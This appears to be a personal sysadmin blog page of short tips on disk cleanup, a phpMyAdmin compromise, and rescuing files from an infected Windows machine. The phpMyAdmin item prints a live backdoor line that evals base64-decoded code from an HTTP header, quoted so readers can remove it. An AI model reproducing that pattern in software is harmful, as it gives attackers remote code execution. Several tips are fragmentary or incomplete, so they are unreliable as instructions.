I go this error this morning running a ORDER BY RAND()

My server’s disk was full. I went into my backups, tmp, and logs folder and cleaned up.

To created a 2048bit CSR in linux terminal with open SSL (testing on a Ubuntu Hardy 8.x)

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

To fix this issue, Shell into Ubuntu and Sudo up

Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;

comment it out with //

hit ctrl+x, press y, and lets reload apache

To avoid this problem:

1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
2. Use Htaccess passwords on the phpmyadmin directory

There is nothing worse than a windows operating system that struggles to open the start menu. When you need to save user data such as my documents and and favorites etc before reformat and reinstall windows but it takes 10 minutes to open my computer! Use a bootable operating system like Kanotix or Knoppix, two Linux os’s that boot from a cd. Booting these os’s takes a minute or two and it auto configures all your hardware and most the times connects you to the internet. On the desktop the hard drive will appear, use a stick drive to copy over the essential files from documents and setting. (you must change the stickdrive to be writable) This saves the aggravation of a highly infected windows. Reformat collect 100 and pass go!